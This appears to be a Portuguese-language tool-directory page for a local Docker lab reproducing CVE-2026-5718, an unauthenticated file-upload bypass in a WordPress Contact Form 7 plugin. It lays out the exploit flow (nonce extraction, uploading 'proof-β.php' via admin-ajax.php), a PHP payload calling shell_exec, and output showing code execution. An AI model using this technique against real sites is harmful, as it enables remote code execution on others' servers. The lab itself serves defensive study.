Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-5718-Lab | Kitploit
Ferramentas/GitHubGitHub/rootdirective-sec/cve-2026-5718-lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFAprendizado e EducaçãoLabs e Prática
GitHubrootdirective-sec/cve-2026-5718-lab

CVE-2026-5718-Lab

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-5718 Laboratório Docker Local

Laboratório Docker local (apenas local) que compara a versão vulnerável e a corrigida para CVE-2026-5718, que afeta o plugin WordPress Drag and Drop Multiple File Upload for Contact Form 7.

Este laboratório demonstra a diferença entre a versão vulnerável 1.3.9.6 e a versão corrigida 1.3.9.7 usando uma prova de execução PHP de mínimo dano em um ambiente somente Docker.

Escopo: apenas localhost / rede Docker. Não use este PoC contra sistemas que você não possui ou para os quais não tem permissão explícita de teste.


Resumo Executivo

CVE-2026-5718 é uma vulnerabilidade de upload arbitrário de arquivos no Drag and Drop Multiple File Upload for Contact Form 7 até a versão 1.3.9.6 inclusive.

O problema é acionado quando tipos de lista negra personalizados são configurados e um nome de arquivo contém caracteres não ASCII. Na versão vulnerável, um upload perigoso de .php pode contornar a proteção pretendida e permanecer executável. A versão 1.3.9.7 corrige o problema rejeitando o mesmo upload.

Este repositório executa dois serviços WordPress locais:

  • vuln em http://localhost:8081 com a versão 1.3.9.6 do plugin
  • patched em http://localhost:8082 com a versão 1.3.9.7 do plugin

Arquitetura do Laboratório

root@kitploit:~
Host
├── http://localhost:8081  -> vulnerable WordPress service
└── http://localhost:8082  -> patched WordPress service

Docker network
├── vuln
├── vuln-db
├── patched
└── patched-db

Estrutura do Repositório

root@kitploit:~
.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
│   └── requirements.txt
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

Fluxo da Vulnerabilidade

O formulário Contact Form 7 preparado contém um campo Drag and Drop Multiple File Upload:

root@kitploit:~
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]

O PoC envia um arquivo de prova PHP chamado:

root@kitploit:~
proof-β.php

O caractere β não é ASCII. Isso é importante porque a vulnerabilidade depende do tratamento de nomes de arquivo para entradas não ASCII.

Fluxo de alto nível:

root@kitploit:~
PoC
 ↓
Fetch lab page and extract DnD CF7 AJAX nonce
 ↓
Upload proof-β.php through wp-admin/admin-ajax.php
 ↓
Vulnerable 1.3.9.6 accepts and stores the file as .php
 ↓
PoC requests the uploaded file
 ↓
Vulnerable lab executes the PHP proof as www-data

Fluxo corrigido:

root@kitploit:~
PoC
 ↓
Upload the same proof-β.php file
 ↓
Patched 1.3.9.7 rejects the upload
 ↓
No PHP file is stored and no code execution occurs

Projeto da Prova de RCE Local

A prova PHP enviada é intencionalmente mínima:

root@kitploit:~
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>

A prova executa apenas whoami e id para mostrar o contexto de execução. Ela não usa shell reverso, persistência, acesso a credenciais, movimento lateral, varredura de rede nem ações destrutivas.

O serviço vulnerável permite intencionalmente a execução de PHP no diretório de upload do plugin para que o impacto seja observável neste laboratório local. O serviço corrigido mantém o comportamento mais seguro e rejeita o envio na camada de validação da aplicação.


Requisitos

  • Docker Desktop
  • Docker Compose v2
  • Python 3

Instale as dependências Python:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt

Compilar e Executar

Comece de um estado limpo:

root@kitploit:~
docker compose down -v
docker compose up --build -d

Verifique o status dos serviços:

root@kitploit:~
docker compose ps

Abra as páginas do laboratório:

root@kitploit:~
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/

Executar o PoC

Execute contra o serviço vulnerável:

root@kitploit:~
python poc/poc.py --base-url http://localhost:8081

Execute contra o serviço corrigido:

root@kitploit:~
python poc/poc.py --base-url http://localhost:8082

O PoC aceita apenas alvos localhost ou loopback.


Resultado Esperado

Serviço Vulnerável

Comportamento esperado:

  • O upload é aceito.
  • O nome do arquivo enviado permanece como um arquivo .php.
  • A prova PHP enviada é executada como o usuário do servidor web.

Exemplo de saída:

root@kitploit:~
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}

Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)

[result] VULNERABLE behavior observed: uploaded PHP proof executed.

Serviço Corrigido

Comportamento esperado:

  • O mesmo upload é rejeitado.
  • A prova PHP não é armazenada como um arquivo executável.
  • Nenhuma execução de código ocorre.

Exemplo de saída:

root@kitploit:~
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}

[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type

Notas de Segurança

Este laboratório é intencionalmente restrito a testes locais.

O PoC:

  • bloqueia alvos fora do localhost,
  • não usa shell reverso,
  • não realiza persistência,
  • não lê segredos,
  • não varre redes,
  • executa apenas whoami e id dentro do contêiner vulnerável.

O serviço vulnerável flexibiliza a execução de PHP no diretório de upload apenas para tornar a prova local observável. Não copie essa configuração para produção.


Limpeza

Pare os contêineres:

root@kitploit:~
docker compose down

Remova contêineres e volumes:

root@kitploit:~
docker compose down -v

Remova o ambiente virtual Python:

root@kitploit:~
rm -rf .venv

Referências

  • NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718

  • Aviso da Patchstack: WordPress Drag and Drop Multiple File Upload for Contact Form 7 Plugin <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability

  • Wordfence Intelligence: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass

  • GitHub Advisory Database: GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w

  • Página do plugin no WordPress.org: Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/

  • Página do fornecedor do plugin: Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/


Aviso Legal

Este repositório é apenas para pesquisa educacional e de segurança defensiva. Ele foi projetado para executar somente em localhost usando Docker. Não use o PoC contra sistemas públicos ou de terceiros.

Baixar ferramenta
ServiceFinalidadePorta do HostVersão
vulnLaboratório WordPress vulnerável8081Plugin 1.3.9.6
patchedLaboratório WordPress corrigido8082Plugin 1.3.9.7
vuln-dbBanco de dados MySQL do serviço vulnerávelinternoMySQL 8.0
patched-dbBanco de dados MySQL do serviço corrigidointernoMySQL 8.0